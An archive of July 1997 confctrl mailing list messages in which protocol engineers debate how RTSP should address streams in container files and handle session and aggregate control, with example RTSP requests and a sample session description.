Message-Id: <199707100933.LAA11056@www45.inria.fr>
To: confctrl@ISI.EDU
Subject: Re: Format of RTSP URLs 
In-Reply-To: Your message of "Wed, 09 Jul 1997 19:46:04 PDT."
             <Pine.WNT.3.95.970709194501.-250823N-100000@oak.precept.com> 
Date: Thu, 10 Jul 1997 11:33:34 +0200
From: Philipp Hoschka <Philipp.Hoschka@sophia.inria.fr>
Sender: owner-confctrl@ISI.EDU
Precedence: bulk


>It seems wrong to me that if the media are in separate files then you
>just give the URLs, but if the media are in one containter file then
>you need a URL plus a stream-id.  That is just augmenting the URL with
>a separate line.

Yes, the point here is keeping a consistent architecture.

To some this may be only a "matter of taste".

However, consider the pragmatic advantages of using URLs:

- they can be stored in bookmark files
- they can be sent around in an e-mail message
- they're easy to embed in html

because there's a whole infrastructure of tools out there
that can deal with URLs.

So, you can send a URL that points to the audio track of
the Quicktime file produced by Clinton's last speech,
if you want - you can't if you use session-ids

The same argument holds when you want to point to the
30 seconds where he says that multimedia on the Internet
is important for american business - RTSP puts this into
the range header.

This is the same not-so-great approach as 
session-ids, since it puts locator information into 
protocol headers.

Btw, RealAudio implements a URL that allows to do
range requests on audio files.

What we need is a URI/URL (can never remember which is
which) for temporal media.

From majordom@ISI.EDU  Thu Jul 10 02:44:43 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA21731>; Thu, 10 Jul 1997 09:44:58 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA21725>; Thu, 10 Jul 1997 09:44:54 -0700
Received: from mail1.microsoft.com by venera.isi.edu (5.65c/5.61+local-29)
	id <AA10529>; Thu, 10 Jul 1997 09:44:50 -0700
Received: by INET-01-IMC with Internet Mail Service (5.0.1458.49)
	id <3SS5GNLJ>; Thu, 10 Jul 1997 09:44:48 -0700
Message-Id: <503A2A3C2932CF118D8800805FD44E1803D6D6E1@RED-68-MSG.dns.microsoft.com>
From: Eric Fleischman <ericfl@MICROSOFT.com>
To: 'Henning Schulzrinne' <hgs@cs.columbia.edu>,
        Alagu Periyannan
	 <alagu@apple.com>
Cc: confctrl@isi.edu, Rob Lanphier <robla@prognet.com>,
        Anup Rao
	 <anup@netscape.com>
Subject: RE: RTSP session model
Date: Thu, 10 Jul 1997 09:44:43 -0700
X-Priority: 3
X-Mailer: Internet Mail Service (5.0.1458.49)
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

I'm sorry, Henning, but I believe that you made a mistake in your
posting for the 2+1 example.

Since audio and video are in the same transport stream in this example,
they are a "presentation". This means that RTSP must treat them as a
"unit". Thus, one can not pause audio (in this example) without also
pausing video. Of course, since audio/video are a separate transport
connection than animation, one can naturally control the audio/video
stream independently from the animation stream by the same RTSP control
session, which is what (I trust) you had meant to show.

In any case, I am pleased that the community seems to be forming a
consensus that 1-1-1 and 1-1-N are worthy targets for RTSP.

> -----Original Message-----
> From:	Henning Schulzrinne [SMTP:hgs@cs.columbia.edu]
> Sent:	Wednesday, July 09, 1997 12:41 AM
> To:	Alagu Periyannan
> Cc:	confctrl@isi.edu; Rob Lanphier; Anup Rao
> Subject:	Re: RTSP session model
> 
> 
> (2+1) audio and video are together (maybe MPEG or some container
> format), animation is separate:
> 
>   SETUP movie
>   Session: 123
>   Streamid: audio, video
>   Transport: rtp/udp
> 
>   SETUP movie
>   Session: 123
>   Stremaid: anim
>   Transport: tcp
> 
>   PLAY movie
>   Session: 123
>   Streamid: audio, video, anim
> 
>   # pauses delivery of the animation and audio
>   PAUSE movie
>   Session: 123
>   Streamid: anim, audio
> 
>   # pauses delivery of the video
>   PAUSE movie
>   Session: 123
>   Streamid: video
> 
>   # resume delivery of audio, video, animation; we don't need
>   # the streamid here since it's the whole session
>   PLAY movie
>   Session: 123
> 
>   # tear down video (don't ask me why the client does this...):
>   TEARDOWN movie
>   Session: 123
>   Streamid: video
> 
>   # tear down the remaining streams:
>   TEARDOWN movie
>   Session: 123
> 
> 

From majordom@ISI.EDU  Thu Jul 10 02:56:07 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA22922>; Thu, 10 Jul 1997 09:58:02 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA22905>; Thu, 10 Jul 1997 09:58:00 -0700
Received: from mail5.microsoft.com by venera.isi.edu (5.65c/5.61+local-29)
	id <AA11175>; Thu, 10 Jul 1997 09:57:59 -0700
Received: by mail5.microsoft.com with Internet Mail Service (5.0.1458.49)
	id <3S4Z6W9L>; Thu, 10 Jul 1997 09:57:56 -0700
Message-Id: <503A2A3C2932CF118D8800805FD44E1803D6D6E3@RED-68-MSG.dns.microsoft.com>
From: Eric Fleischman <ericfl@MICROSOFT.com>
To: 'Alagu Periyannan' <alagu@apple.com>, confctrl@isi.edu
Subject: RE: RTSP session model
Date: Thu, 10 Jul 1997 09:56:07 -0700
X-Priority: 3
X-Mailer: Internet Mail Service (5.0.1458.49)
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Alagu has made a very good point:

>This issue may be out of the scope of RTSP, but there must be
>some mention in the spec. that the client can not arbitrarily
>decide the grouping.

>For those working on the SDP format for use with RTSP, I think
>SDP should state the grouping being used.

I understand the desire on the part of the authors to have SETUP alone
determine the sessionID and transport. However, this presupposes that
the implementation is aware of the fact that the values which the client
uses for SETUP must be constrained by the information contained within
the session announcement vehicle. 

One can either do this by explicitly pointing this out in the spec as
Alagu has suggested or else to "upgrade" DESCRIBE to include SETUP's
functionality as I have been suggesting (for those cases in which a
session description already exists).

From majordom@ISI.EDU  Thu Jul 10 09:20:36 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA22033>; Thu, 10 Jul 1997 16:22:44 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA22021>; Thu, 10 Jul 1997 16:22:31 -0700
Received: from murrow.prognet.com by venera.isi.edu (5.65c/5.61+local-29)
	id <AA28271>; Thu, 10 Jul 1997 16:22:27 -0700
Received: from robla.dev.prognet.com (two221.dev.prognet.com) by murrow.prognet.com with SMTP id AA02177
  (5.67b/IDA-1.5 for <confctrl@isi.edu>); Thu, 10 Jul 1997 16:26:36 -0700
Message-Id: <3.0.32.19970710162035.01281144@mail.prognet.com>
X-Sender: robla@mail.prognet.com
X-Mailer: Windows Eudora Pro Version 3.0 (32)
Date: Thu, 10 Jul 1997 16:20:36 -0700
To: Stephen Casner <casner@precept.com>, confctrl@isi.edu
From: Rob Lanphier <robla@prognet.com>
Subject: Re: Format of RTSP URLs
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

At 07:46 PM 7/9/97 -0700, Stephen Casner wrote:
>I believe there is too much emphasis here on container files.  Alagu's
>proposal to identify the cases as muxed and non-muxed is a good
>notion, though I think some of the details after that are not right.
>
....
>The other case [for control of container files] is the non-multiplexed case, 
>where a presentation
>consists of multiple transport streams.  (Some transport streams may
>contain more than one medium pre-multiplexed, but each transport
>stream is the minimum unit of control.)  As Anup already pointed out
>much earlier in this discussion, for the purposes of designing how a
>presentation will be controlled and delivered by a single server, it
>should not matter whether all the media come from one file or from
>separate files.

How would a client tell a server to record several streams into a single file?

SETUP movie?audio
SETUP movie?video
RECORD movie?audio
RECORD movie?video

??????
That would be *very* difficult to implement.  As far as the server is
concerned, the audio and video would be separate sessions, and it would
have to have some pretty sophisticated code to reliably merge the two
sessions into one.  This also implies that the client is going to have to
have some mechanical way of distinguishing between a file object on the
server and a stream object.

>If you accept that premise, then what we need is a way to specify
>where the bits for each transport stream will come from.  It seems to
>me that an RTSP URL for each stream is the right way to do it.  That
>URL may take any of several forms depending upon whether the bits come
>from one or more files or some magic database or from an analog input
>device.  Brad expressed the following concern in response to Philipp's
>message:
>
>    >>
rtsp://server/db/query?artist="Nirvana"&album="Nevermind"&track="Polly"
>    >>
>    >> Now, my first question is: why is this a query ? Why do you need to
use
>    >> a questionmark ?
>
>    My point is exactly that the RTSP spec should not answer these
>    questions. Instead the RTSP spec should reference the standard
>    URI spec, and should not place additional limitations on the
>    semantics of sub-syntax of the URI.
>
>    A solution that limits the name space of the URI seems especially
>    wrong when we have a perfectly reasonable pathway in the 822 headers.
>
>I agree wholeheartedly that the RTSP spec should not answer these
>questions, but I draw the opposite conclusion.  Section 3.2 of the
>RTSP spec says that "the path components of the RTSP URL are opaque to
>the client and do not imply any particular file system structure for
>the server".  The example
>
>    rtsp://media.example.com:554/twister/audiotrack
>
>is given, and similar examples for audio and video tracks are given in
>section 14.1.  As in these examples, the RTSP URL should identify a
>particular media stream to be transported.  The person who constructs
>a presentation with multiple media streams will figure out what the
>URLs need to be to specify whence those media streams come and will
>also build a presentation description that includes those URLs.

Ok, but how would a client know whether to establish one session, and when
to establish n sessions, without doing some interpretation on the URL.

If you are simultaneously trying to make the case against 1-1-n (and in
favor of 1-n-n), then I point you to the RECORD example above.

Even in playback, in the very common case where one has a neatly
pre-interleaved file, it makes it a lot easier for a server to just spit
out the packets in the order in which they are in the file, rather than
having to open n instances of the file, and then only stream 1/nth of the
file.

I hope I'm not putting words in your mouth.  Are you proposing that 1-1-n
is not worthwhile?

Rob
---
Rob Lanphier               Voice: (206)674-2322         Fax: (206)674-2699
Program Manager-Protocols                         Email: robla@prognet.com
Progressive Networks-Home of RealAudio            Web: http://www.real.com
For more information on firewalls:       http://www.real.com/firewall.html
For more information on RTSP:               http://www.real.com/prognet/rt

From majordom@ISI.EDU  Fri Jul 11 06:17:31 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA11932>; Fri, 11 Jul 1997 13:18:33 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA11925>; Fri, 11 Jul 1997 13:18:31 -0700
Received: from hydra.precept.com by venera.isi.edu (5.65c/5.61+local-29)
	id <AA20250>; Fri, 11 Jul 1997 13:18:30 -0700
Received: from oak.precept.com (oak.precept.com [204.162.116.21])
	by hydra.precept.com (8.8.6/8.8.6) with SMTP id NAA02573;
	Fri, 11 Jul 1997 13:18:28 -0700 (PDT)
Date: Fri, 11 Jul 1997 13:17:31 -0700 ()
From: Stephen Casner <casner@precept.com>
To: Rob Lanphier <robla@prognet.com>
Cc: confctrl@isi.edu
Subject: Re: Format of RTSP URLs
In-Reply-To: <3.0.32.19970710162035.01281144@mail.prognet.com>
Message-Id: <Pine.WNT.3.95.970711125711.-204107I-100000@oak.precept.com>
X-X-Sender: casner@little-bear.precept.com
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Rob,

> How would a client tell a server to record several streams into a single file?
> 
> SETUP movie?audio
> SETUP movie?video
> RECORD movie?audio
> RECORD movie?video
> 
> ??????
> That would be *very* difficult to implement.  As far as the server is
> concerned, the audio and video would be separate sessions, and it would
> have to have some pretty sophisticated code to reliably merge the two
> sessions into one.  This also implies that the client is going to have to
> have some mechanical way of distinguishing between a file object on the
> server and a stream object.

Who is in control of the file format during a record operation?  I
would expect the presentation description to control the grouping and
determine what kind of individual or collective files should be
written.  Who sends the presenation description?  (From my reading of
the protocol, presentation descriptions only go from the server to the
client.)  If a client wants to record, perhaps the URI it needs to
access the server would identify an "opportunity" to record, and that
opportunity would imply a file structure.

Being able to say

SETUP movie
Stream-id: aud
SETUP movie
Stream-id: vid
RECORD movie
Stream-id: aud,vid

does not answer the question of what kind of container file movie is
supposed to be.

> Ok, but how would a client know whether to establish one session, and when
> to establish n sessions, without doing some interpretation on the URL.

The presentation description answers that question.  If there are
multiple media URLs contained therein, the client must establish
sessions for each of those that it wants.

> If you are simultaneously trying to make the case against 1-1-n (and in
> favor of 1-n-n), then I point you to the RECORD example above.


I'm not against there being some means of collecting multiple RTSP
streams into a presentation.  I just want the protocol to be the same
independent of whether the data is kept in one file or several.  The
client should have to know or care.

In fact, the definition of "presentation" in the spec says that the
presentation description is supposed to contain RTSP URIs that the
define which streams can be controlled individually and an RTSP URI to
control the whole presentation.  However, I'm not sure that remainder
of the protocol specification says how that collective URI is supposed
to be used or how the whole-presentation control is supposed to
happen.

Perhaps the whole-presentation URI does not allow the SETUP method but
instead another method that binds a whole-presentation session-id with
the individual session-ids for the individually controllable streams?

If so, what if the presentation description identifies streams that
will come from multiple servers: will the server identified by the
collective URI be responsible for passing commands by some mechanism
(perhaps outside of RTSP) to the individual stream servers?  This is
clearly a hard problem, and one which I believe led to decisions to
limit some of the functionality provided by RTSP v1.

I would think the protocol should allow that, but that people who
create presentation descriptions can only spread the streams across
multiple servers if the collection of servers implements some
mechanism for collective control.  If a presentation is mistakenly
created across multiple servers when collective control is not
possible, then an error would be returned.

> Even in playback, in the very common case where one has a neatly
> pre-interleaved file, it makes it a lot easier for a server to just spit
> out the packets in the order in which they are in the file, rather than
> having to open n instances of the file, and then only stream 1/nth of the
> file.

I don't see any reason why the server should not be able to do that
with URL's defining the streams instead of stream-ids.  Assuming that
we're talking about multiple transport streams, then the server is
going to have to look at each packet coming out of the file and
determine on which stream to send it.  That's the difference between
the multiplexed and non-multiplexed cases.
							-- Steve


From majordom@ISI.EDU  Fri Jul 11 07:35:12 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA16621>; Fri, 11 Jul 1997 14:36:16 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA16615>; Fri, 11 Jul 1997 14:36:13 -0700
Received: from hydra.precept.com by venera.isi.edu (5.65c/5.61+local-29)
	id <AA25033>; Fri, 11 Jul 1997 14:36:12 -0700
Received: from oak.precept.com (oak.precept.com [204.162.116.21])
	by hydra.precept.com (8.8.6/8.8.6) with SMTP id OAA02759;
	Fri, 11 Jul 1997 14:36:08 -0700 (PDT)
Date: Fri, 11 Jul 1997 14:35:12 -0700 ()
From: Stephen Casner <casner@precept.com>
To: Eric Fleischman <ericfl@MICROSOFT.com>
Cc: confctrl@isi.edu
Subject: RE: RTSP session model
In-Reply-To: <503A2A3C2932CF118D8800805FD44E1803D6D6E1@RED-68-MSG.dns.microsoft.com>
Message-Id: <Pine.WNT.3.95.970711142817.-204107K-100000@oak.precept.com>
X-X-Sender: casner@little-bear.precept.com
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Eric,

> I'm sorry, Henning, but I believe that you made a mistake in your
> posting for the 2+1 example.

I agree that some details of Alagu's and Henning's messages were not
right.  But:

> Since audio and video are in the same transport stream in this example,
> they are a "presentation". This means that RTSP must treat them as a
> "unit". Thus, one can not pause audio (in this example) without also
> pausing video.

I agree with the last sentence, but I don't think having the audio and
video in the same transport stream makes them a "presentation".  From
RTSP's point of view, the multiplexed transport stream is just the
same as a monomedia transport stream.  In this example, I would say
the presentation is the combination of the multiplexed A/V stream plus
the animation stream.  Those two streams should be separately
controllable, but as I mentioned in a previous message, I don't see
how the presentation control is supposed to work.
							-- Steve


From majordom@ISI.EDU  Fri Jul 11 10:18:08 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA27931>; Fri, 11 Jul 1997 17:18:26 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA27921>; Fri, 11 Jul 1997 17:18:25 -0700
Received: from netscape.com by venera.isi.edu (5.65c/5.61+local-29)
	id <AA03790>; Fri, 11 Jul 1997 17:18:22 -0700
Received: from dredd.mcom.com (dredd.mcom.com [205.217.237.54])
	by netscape.com (8.8.5/8.8.5) with ESMTP id RAA05738
	for <confctrl@ISI.EDU>; Fri, 11 Jul 1997 17:18:12 -0700 (PDT)
Received: from electron ([204.29.186.92]) by dredd.mcom.com
          (Netscape Messaging Server 3.0)  with ESMTP id AAA7938;
          Fri, 11 Jul 1997 17:18:12 -0700
Message-Id: <33C6CD3F.B606FBDB@netscape.com>
Date: Fri, 11 Jul 1997 17:18:08 -0700
From: anup@netscape.com (Anup Rao)
Organization: Netscape Communications Corporation
X-Mailer: Mozilla 4.01 [en] (WinNT; U)
Mime-Version: 1.0
To: mmusicwg <confctrl@ISI.EDU>, anup@netscape.com
Subject: Sessions, presentations and URLs in RTSP
X-Priority: 3 (Normal)
Content-Type: multipart/signed; protocol="application/x-pkcs7-signature"; micalg=sha1; boundary="------------msF7A1A1EF8DBD4709EF68EF1A"
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

This is a cryptographically signed message in MIME format.

--------------msF7A1A1EF8DBD4709EF68EF1A
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

The message is pretty long, but I feel this  is justified by the amount
of discussion that has gone on, and  to try and reach some agreement.


There has been a lot of discussion on streaming of container files using

RTSP  using 1-1-1, 1-1-n, 1-n-n. There is also a proposed way of doing
it using 1-1-n by having a single URL, and referencing (via a header) a
"StreamID" within that URL.

In the container discussion, and in particular of server/client
implementation issues regarding  container file handles and
synchronization,  it seems that seperate issues might have gotten
interleaved here. While they are not 100% seperate, I contend that there

are 3 seperate issues here:-

a) Need for 1-1-n.
b) Standard means for referencing a part within a container, for example

audio track 1 within a  Quicktime file.
c) Aggregate control(sending a single control message that affects more
than one stream).

c) is fairly self-explanatory, there is the also the need for a means to

convey whether the aggregate operation is allowed or not.(Or
alternatively, whether a non-aggregate operation is allowed or not).

Lets take b) first. There seem to be two ways to do this :
1) The "StreamID" proposal
2) Using URLs with ?/# identifiers.

Pros for URLs(Credits to Phillip Hoschka, Stephen Casner and others) :
-Standard, well regulated and understood
-Embedable in html in a  standard way.
-From RTSP point of view, really no difference between a presentation
composed of seperate files, and that composed from parts of a container.

-Reuse : you can say rtsp://foo/movie?track=1, to simply use the audio
track out of a file standalone.

Cons of URLs
-Efficiency and resolution issues in component server architecture(see
mails from Brad Hefta-Gaub and Rob Lanphier)
- URLs may get long and untenable.
- URLs may be used for passing other parameters to server modules, and
there may be possible confusion as to which URL segment references part
of the container vs. which one is meant for other reasons.
(I will try and answer these later on in this message).

Now lets take a)(ie need for 1-1-n):
When a presentation is composed of 2 or more streams(coming from the
same server, regardless of whether it is the same file), it is (very)
handy to have a common session identifier for those streams. This
allows:
-Convenient context for maintaining a single container file handle if
necessary.(Admittedly, this can also be done without having the same
Session: identifer, but that is a tad more difficult to do right)..
-It gives a server implementor some means to actually tie together n
streams that are really a part of the same presentation.(Admittedly,
client side synchronization is a seperate issue. However this is still
great to have, for stream prioritization kind of  issues at the server
end. At worst, having this does no harm).

That said, I would argue that 1-1-n is a special case of 1-n-n, and not
the other way around. Therefore 1-n-n must *always* be possible. It is
the most general way - and the way things are done if two streams come
from different servers.

Besides the issues a), b), there is something I would like to add :
- It is desirable to have RTSP as a control protocol treat presentations

uniformly regardless of whether they come from  a container file or
seperate files. (The purist in me believes that if we special case a
container file, we will lose much of the elegance and abstraction that
we have strived for).
-Need to maintain maximal independance between  RTSP and the session
description.

Being a supporter of the URL way, here is a proposal to:
- Control a presentation using 1-1-n using URLs and not "StreamID"
- Provide aggregate control using URLs and not "StreamID"

Note that in this proposal 1 URL != 1 session. A RTSP session(signified
by Session: )  may involve control messages for more than one URL. In
the current RTSP draft, Session: has one use - it identifes the requests

coming for the same URL for multiple clients. This proposal increases
its purpose somewhat.
The following URL scheme is used to denote a part of the container:
rtsp://foo.com/movie?track=1
The interpretation of stuff after the "?" is upto the server. In this
case, it means Track 1 of the movie presentation - could be the audio
track out of a AVI file or such.
(Note that this URL syntax is just an example for the purposes of this
proposal. We
are looking at  the details)
The session description contains one URL per stream at minimum. In
addition, it may contain a "aggregate" or "presentation" URL. The
interpretation of these URLs is upto the server.

Lets assume that the following session description was obtained by the
client(off a web page or in reply to a DESCRIBE on the container URL):

********
s= sample rtsp presentation
r = rtsp://foo/twister   /* aggregate URL*/
m= audio 0 RTP/AVP 0
r = rtsp://foo/twister?track=1 /* URL to control audio*/
m=video 0 RTP?AVP 26
r = rtsp://foo/twister?track=2 /* URL to control video*/
********

In addition,
-We maintain that there will be one SETUP message per stream. This is
desirable because combining transport parameters for multiple streams
within one message leads to a fair deal of tangled syntax, and the
ability to convey back. (from server to client) which of the streams'
transport params were not correct isn't there. The resulting cost of
round-trips should be acceptable, since these messages may be
pipelined(atleast all after the first one).
-We introduce 2 additional error messages 4xx(Aggregate control not
allowed), 4xx(Only aggregate control allowed)

Here is how things would proceed:

setup rtsp://foo/twister?track=1 rtsp/1.0 33
Transport: rtp/udp;port=8000

200 rtsp/1.0 OK 33
Transport: rtp/udp;port=8000
Session: 4234

setup rtsp://foo/twister?track=2 rtsp/1.0 34
Transport: rtp/udp;port=8002
Session: 4234

200 rtsp/1.0 OK 34
Transport: rtp/udp;port=8000
Session: 4234

play rtsp://foo/twister
Session: 4234

would   start up both the streams.

play rtsp://foo/twister?track=1
Session: 4234

would start up only the audio stream.

The presentation author and the server may decide not to allow this for
artisic reasons. In that case:

play rtsp://foo/twister?track=1
Session: 4234

would result in :
4xx rtsp/1.0  Only aggregate control allowed

means that the client is applying a method on a URL that is not allowed
since it is not an aggregate URL.

The aggregate URL is not "setupable".
setup rtsp://foo/twister

would result in

4xx rtsp/1.0 Aggregate control not allowed.

teardown  rtsp://foo/twister
Session: 4234

would get rid of the session 4234.

teardown  rtsp://foo/twister?track=1
Session: 4234

would get rid of the Session 4234 only if all other streams within that
Session were already  torndown.

I believe the above example would work for RECORD too.

What does this achieve ?
- You can have a single file handle open. The Session: allows you to.
Some part of the server maintains a session context,and parses the URL
to check if it has the file open. There is nothing to preclude a
arbitrary filesystem.
- The client is oblivious to "track=1". The server can choose anything
of its liking(ie rtsp://foo/twister/audio). If we agree on using URLs as

the only controllable entities, having a common URL  syntax atleast for
some basic containers should be possible to do in interest of
interoperability.
-It allows aggregate control for those who want it.
-It provides a way for the client to know whether the URL
is aggregate or not and if the method is allowed.
I think this concept is important - we *have* to introduce this
knowledge
into the protocol in a minimal way. (This proposal does it in the form
of error messages, and it seems
adequate). This allows presentation authors to decide that
"playing only video will never be allowed", as well as allow aggregate
control.
-The session description needs to do nothing but  provide one or more
URL(s). In this way, RTSP is independant of it.
- Multifile, Multiserver, singlefile, singleserver presentations are
treated consistently by RTSP.(ie all are based on URLs as the
controllable entity).
A Multiserver presentation would be necessarily 1-n-n.
- 1-1-n and 1-n-n are transparent to servers. If you do 1-1-n, 1-n-n
would simply work in the cases where the presentation author allows it.
This is important. Again, I stress that 1-n-n should not go away.


What it does not achieve:
-Save roundtrips(If we need n SETUPs, this is difficult to do anyway).
-Whatever else you can think of.


Finally, addressing the cons of  URLs(ideas taken  from message by
Stephen Casner).

- Problems with arbitrary file systems in component based server :
Efficiency wise, it should not be any different whether this "StreamID"
is the first header in the message or part of the URL.
Agreed that if one wants content to be interoperable between servers(not

always true in the web world) or use parts of the URL for other needs
(aka HTTP) , the URL syntax or atleast the order of
segments  has to regulated. This is something one might want to take up
seperately.

If one uses the rule :" A url segment not understood by one component
goes on to the next", it might help in the component architecture.
The arbitrary filesystem issue is something I do not understand. In
fact, I  would say that one of  URL's  major purposes is to abstract a
uniquely identifiable  resource. They do not have a relation to any
filesystem - this relationship is *created*  by the server.  Putting
?audio or ?track=1 does not change anything with respect to the
filesystem.
Also, URLs have been used for a while by the HTTP world, and they get
and put data out of arbitrary filesystems all the time.

- URLs getting too long or untenable:
The danger is significantly less here than HTTP. If one absolutely needs

to pass a long list of parameters, then one should do it using HTTP, or
look into doing that with an extension header. Having this fear preclude

the use of URLs to reference parts of containers seems unreasonable.


Thanks for your patience.

--
-----------------------------------------------------------------
  Anup Rao
  Member Of Technical Staff
  Netscape Communications Corp.
  email : anup@netscape.com         Phone : (415) 937 3129
-----------------------------------------------------------------


--------------msF7A1A1EF8DBD4709EF68EF1A
Content-Type: application/x-pkcs7-signature; name="smime.p7s"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="smime.p7s"
Content-Description: S/MIME Cryptographic Signature

MIIG8gYJKoZIhvcNAQcCoIIG4zCCBt8CAQExCzAJBgUrDgMCGgUAMAsGCSqGSIb3DQEHAaCC
BSQwggJjMIIBzKADAgECAgIBtzANBgkqhkiG9w0BAQQFADB3MQswCQYDVQQGEwJVUzEsMCoG
A1UEChMjTmV0c2NhcGUgQ29tbXVuaWNhdGlvbnMgQ29ycG9yYXRpb24xHDAaBgNVBAsTE0lu
Zm9ybWF0aW9uIFN5c3RlbXMxHDAaBgNVBAMTE3Jvb3RjYS5uZXRzY2FwZS5jb20wHhcNOTcw
NTE2MTY1MTE1WhcNOTcxMTEyMTY1MTE1WjCBgjELMAkGA1UEBhMCVVMxJjAkBgNVBAoTHU5l
dHNjYXBlIENvbW11bmljYXRpb25zIENvcnAuMRMwEQYDVQQDEwpBbnVwIFYgUmFvMSAwHgYJ
KoZIhvcNAQkBFhFhbnVwQG5ldHNjYXBlLmNvbTEUMBIGCgmSJomT8ixkAQETBGFudXAwXDAN
BgkqhkiG9w0BAQEFAANLADBIAkEAmxrdqVlqR3Bmvms7eOyI9bcar073s9d/sUZfvsanTSmP
Zt1XjzIStAbiz2hdH/foScl21jQlAhJ8+Kvqw9B9SQIDAQABozYwNDARBglghkgBhvhCAQEE
BAMCAKAwHwYDVR0jBBgwFoAU/OBU6Afxld4695nGrvoVDG7ELpIwDQYJKoZIhvcNAQEEBQAD
gYEAHwb8ahafhkduRBKdfLIWlpWr6x3T24f0U3pfVse0cVGQf0CpL+CUmPhgedvpccP8iTHB
hFwaVtXzuGp7QUX5j+6netVIZSu4048BF5fBBYRIeMd0T8qxpbTVplOZ/GwaiYLr2RtMyd+0
vgUSYGrj82S/YvzBQp+KvcjQqfnbCM8wggK5MIICIqADAgECAgEBMA0GCSqGSIb3DQEBBAUA
MHcxCzAJBgNVBAYTAlVTMSwwKgYDVQQKEyNOZXRzY2FwZSBDb21tdW5pY2F0aW9ucyBDb3Jw
b3JhdGlvbjEcMBoGA1UECxMTSW5mb3JtYXRpb24gU3lzdGVtczEcMBoGA1UEAxMTcm9vdGNh
Lm5ldHNjYXBlLmNvbTAeFw05NzAzMjYwMTQ0MzhaFw05OTAzMjYwMTQ0MzhaMHcxCzAJBgNV
BAYTAlVTMSwwKgYDVQQKEyNOZXRzY2FwZSBDb21tdW5pY2F0aW9ucyBDb3Jwb3JhdGlvbjEc
MBoGA1UECxMTSW5mb3JtYXRpb24gU3lzdGVtczEcMBoGA1UEAxMTcm9vdGNhLm5ldHNjYXBl
LmNvbTCBnzANBgkqhkiG9w0BAQEFAAOBjQAwgYkCgYEAwao+/i0/pYfDR9/72m3YGKBFPfnH
m0POJ7RaE5wRfb/S8ohex7+yi3m6p+UoC0CmjpkxVcX4zpYGXiKEdr8BImLDqZknuwhoERTH
Cn7csof4x+AkMAG8LZaF5xnDLqGTdyw0GC/736JIs+egr3oD5IuMdaQtkyCMIDlUp0W6QGUC
AwEAAaNVMFMwEQYJYIZIAYb4QgEBBAQDAgAEMB0GA1UdDgQWBBT84FToB/GV3jr3mcau+hUM
bsQukjAfBgNVHSMEGDAWgBT84FToB/GV3jr3mcau+hUMbsQukjANBgkqhkiG9w0BAQQFAAOB
gQBZ99sbXHoGxObFmGGEGM76BksgsSTK/Fl+Pxjx5L6sENlK0mmPbvyRyvUEHAquufrKOexN
ABmmZ5TM5UBbWYQkkvABLBnkCy87HPYPG4VF7MOX8eC6QMvdV3GJ4ItJcEkf3bbLNG9vzy8h
5FPRGWaPZ2Lw3e4dSCrwR3uDdId5yDGCAZYwggGSAgEBMH0wdzELMAkGA1UEBhMCVVMxLDAq
BgNVBAoTI05ldHNjYXBlIENvbW11bmljYXRpb25zIENvcnBvcmF0aW9uMRwwGgYDVQQLExNJ
bmZvcm1hdGlvbiBTeXN0ZW1zMRwwGgYDVQQDExNyb290Y2EubmV0c2NhcGUuY29tAgIBtzAJ
BgUrDgMCGgUAoIGxMBgGCSqGSIb3DQEJAzELBgkqhkiG9w0BBwEwIwYJKoZIhvcNAQkEMRYE
FBU5EVSYEHPEv58P+irOHXk4KeG5MBwGCSqGSIb3DQEJBTEPFw05NzA3MTIwMDE4MDhaMFIG
CSqGSIb3DQEJDzFFMEMwCgYIKoZIhvcNAwcwDgYIKoZIhvcNAwICAgCAMAcGBSsOAwIHMA0G
CCqGSIb3DQMCAgFAMA0GCCqGSIb3DQMCAgEoMA0GCSqGSIb3DQEBAQUABEAK8xUwUMmTOHl8
VWGgE6qdKlgc58UPeuFyU83WudyIWXLSIYYwBLAwQZ1sdXgNylKNz7h9s9+G4LHgBOW/q23v

--------------msF7A1A1EF8DBD4709EF68EF1A--


From majordom@ISI.EDU  Fri Jul 11 10:58:13 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA29008>; Fri, 11 Jul 1997 18:00:04 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA29002>; Fri, 11 Jul 1997 18:00:02 -0700
Received: from murrow.prognet.com by venera.isi.edu (5.65c/5.61+local-29)
	id <AA05162>; Fri, 11 Jul 1997 18:00:01 -0700
Received: from robla.dev.prognet.com (two221.dev.prognet.com) by murrow.prognet.com with SMTP id AA21970
  (5.67b/IDA-1.5 for <confctrl@isi.edu>); Fri, 11 Jul 1997 18:04:22 -0700
Message-Id: <3.0.32.19970711175812.017c2f94@mail.prognet.com>
X-Sender: robla@mail.prognet.com
X-Mailer: Windows Eudora Pro Version 3.0 (32)
Date: Fri, 11 Jul 1997 17:58:13 -0700
To: Stephen Casner <casner@precept.com>
From: Rob Lanphier <robla@prognet.com>
Subject: Posting descriptions via ANNOUNCE (Re: Format of RTSP URLs)
Cc: confctrl@isi.edu
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
